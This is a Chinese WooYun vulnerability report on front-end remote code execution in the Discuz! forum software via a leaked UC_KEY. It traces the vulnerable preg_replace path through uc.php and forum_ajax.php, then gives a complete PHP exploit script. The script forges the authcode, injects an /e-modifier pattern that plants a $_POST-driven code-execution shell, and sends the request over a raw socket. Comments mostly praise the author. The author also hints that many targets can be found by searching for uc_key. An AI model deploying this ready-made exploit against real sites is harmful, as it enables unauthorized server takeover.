当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137991

漏洞标题:Discuz利用UC_KEY进行前台getshell2

相关厂商:Discuz!

漏洞作者: Jannock

提交时间:2015-08-31 10:02

修复时间:2015-11-29 13:00

公开时间:2015-11-29 13:00

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向第三方安全合作伙伴开放
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

http://drops.wooyun.org/papers/7830
其实这里已经说得比较明白了。
利用这个漏洞已经好些时候,包括之前腾讯的shell(http://www.wooyun.org/bugs/wooyun-2010-092923)
不过好像官方还是不太重视,特意再提一下,不用登陆后台,直接前台能利用(顺便打卡^-^)
乌云搜索uc_key会有很多惊喜哦。

详细说明:

\api\uc.php

function updatebadwords($get, $post) {
global $_G;
if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
}
$data = array();
if(is_array($post)) {
foreach($post as $k => $v) {
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
}
}
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);
return API_RETURN_SUCCEED;
}


更新 uc_client/data/cache/badwords.php
再看
\source\module\forum\forum_ajax.php

if($_GET['action'] == 'checkusername') {
$username = trim($_GET['username']);
$usernamelen = dstrlen($username);
if($usernamelen < 3) {
showmessage('profile_username_tooshort', '', array(), array('handle' => false));
} elseif($usernamelen > 15) {
showmessage('profile_username_toolong', '', array(), array('handle' => false));
}
loaducenter();
$ucresult = uc_user_checkname($username);


跟踪 uc_user_checkname

function uc_user_checkname($username) {
return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username));
}
define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');


默认情况下
UC_API_FUNC为 uc_api_mysql

function uc_api_mysql($model, $action, $args=array()) {
global $uc_controls;
if(empty($uc_controls[$model])) {
include_once UC_ROOT.'./lib/db.class.php';
include_once UC_ROOT.'./model/base.php';
include_once UC_ROOT."./control/$model.php";
eval("\$uc_controls['$model'] = new {$model}control();");
}
if($action{0} != '_') {
$args = uc_addslashes($args, 1, TRUE);
$action = 'on'.$action;
$uc_controls[$model]->input = $args;
return $uc_controls[$model]->$action($args);
} else {
return '';
}
}


继续跟综到

function check_usernamecensor($username) {
$_CACHE['badwords'] = $this->base->cache('badwords');
$censorusername = $this->base->get_setting('censorusername');
$censorusername = $censorusername['censorusername'];
$censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
return FALSE;
} else {
return TRUE;
}
}


注意到
@preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username)
两个参数都可控,即可造成命令执行。

漏洞证明:

利用脚本,3.2后要加上 formhash + cookie 绕过xss拦截

<?php
$timestamp = time()+10*3600;
$host="www.host.com";
$agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");
$uc_key="uckey";
$code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));

$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/admin/e</item>
<item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>
</item>
</root>';
/* $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root></root>'; */
$html1 = send($cmd1);
echo $html1;


function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>


提交后,shell地址为:
http://127.0.0.1/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin

修复方案:

http://drops.wooyun.org/papers/7830 里说得很清楚了。

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-31 12:59

厂商回复:

此问题已经修复过,请使用我们的最新版本。感谢你对discuz的关注

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-31 10:04 | 染血の雪 ( 普通白帽子 | Rank:193 漏洞数:30 | 击缻)

    前排膜拜

  2. 2015-08-31 10:04 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2828 漏洞数:566 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    吊 我来膜拜了

  3. 2015-08-31 10:06 | fuckadmin ( 普通白帽子 | Rank:560 漏洞数:78 | 千里之堤溃于蚁穴)

    打卡

  4. 2015-08-31 10:07 | 无名 ( 实习白帽子 | Rank:41 漏洞数:9 | 我是一只小菜鸟呀,伊雅伊尔哟。)

    过来膜拜。。

  5. 2015-08-31 10:12 | 蓝冰 ( 普通白帽子 | Rank:652 漏洞数:52 | -.-)

    膜拜 mark 希望有 dz x xss过滤的突破方法 要不然 payload 被拦截啊

  6. 2015-08-31 10:15 | harbour_bin ( 普通白帽子 | Rank:469 漏洞数:59 | 沉淀一下, 好好研究一些东西...)

    膜拜

  7. 2015-08-31 10:20 | qhwlpg ( 普通白帽子 | Rank:245 漏洞数:63 | 潜心代码审计。)

    前来膜拜

  8. 2015-08-31 10:21 | 大亮 ( 普通白帽子 | Rank:333 漏洞数:67 | 慢慢挖洞)

    我的输入法现在每次想打“一个”,排在第一个的一直是“一哥”,改不回去了,肿么办

  9. 2015-08-31 10:26 | 泳少 ( 普通白帽子 | Rank:232 漏洞数:80 | ★ 梦想这条路踏上了,跪着也要...)

    前排

  10. 2015-08-31 10:28 | if、so 认证白帽子 ( 核心白帽子 | Rank:1052 漏洞数:94 | 梦想还是要有的,万一实现了呢?)

    一哥!

  11. 2015-08-31 10:29 | 牛 小 帅 ( 普通白帽子 | Rank:495 漏洞数:125 | 茶凉了,就不要再续了,再续也不是原来的味...)

    @爱上平顶山 @Jannock Discuz X1.5 X2.5 X3 uc_key getshell 会不会和这个同原理?

  12. 2015-08-31 10:39 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1234 漏洞数:122 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    我靠 膜拜了

  13. 2015-08-31 10:45 | 带馅儿馒头 ( 核心白帽子 | Rank:1291 漏洞数:144 | 心在,梦在)

    膜拜一哥

  14. 2015-08-31 10:46 | 大师兄 ( 路人 | Rank:14 漏洞数:6 | 每日必关注乌云)

    参见教主!教主千秋万载,一统江湖!

  15. 2015-08-31 10:51 | Mark ( 路人 | Rank:8 漏洞数:2 | 渗透你的心)

  16. 2015-08-31 11:13 | Chora ( 普通白帽子 | Rank:337 漏洞数:22 | 生存、生活、生命。)

    来打卡膜拜一哥。

  17. 2015-08-31 11:42 | px1624 ( 普通白帽子 | Rank:1038 漏洞数:177 | px1624)

    前台好啊!

  18. 2015-08-31 12:05 | M4sk ( 普通白帽子 | Rank:1213 漏洞数:321 | 国内信息安全任重而道远,还需要厂商和白帽...)

    mark

  19. 2015-08-31 12:30 | 放开那个漏洞,让我来 ( 路人 | Rank:20 漏洞数:2 | 正在尝试加载简介中.........)

    我来膜拜了

  20. 2015-08-31 12:49 | xy小雨 ( 普通白帽子 | Rank:175 漏洞数:52 | 成为海贼王的男人)

    永远的一哥

  21. 2015-08-31 13:01 | 牛 小 帅 ( 普通白帽子 | Rank:495 漏洞数:125 | 茶凉了,就不要再续了,再续也不是原来的味...)

    永远的一哥(永远的1rank)o(∩_∩)o

  22. 2015-08-31 13:42 | 小白鼠 ( 路人 | Rank:1 漏洞数:1 | 小呀小呀小白鼠)

    前台还没听说过,不过key如何来呢!

  23. 2015-08-31 14:21 | 蓝冰 ( 普通白帽子 | Rank:652 漏洞数:52 | -.-)

    永远的一哥(永远的1rank)o(∩_∩)o

  24. 2015-08-31 15:46 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1077 漏洞数:139 | 多乌云、多机会!微信公众号: id:a301zls ...)

    一哥 1分

  25. 2015-08-31 16:00 | 牛 小 帅 ( 普通白帽子 | Rank:495 漏洞数:125 | 茶凉了,就不要再续了,再续也不是原来的味...)

    @zeracker 帮我审核一下洞 管理大哥 中企动力的

  26. 2015-08-31 16:46 | scanf ( 核心白帽子 | Rank:1317 漏洞数:191 | 。)

    额⋯⋯早知道我也这样来个

  27. 2015-09-04 21:18 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    mark一下

  28. 2015-11-04 14:40 | 酷帥王子 ( 普通白帽子 | Rank:118 漏洞数:36 | 天朗日清,和风送闲,可叹那俊逸如我顾影自...)

    如果目标是www.xxoo.com/bbs/的那host那里又该怎么填写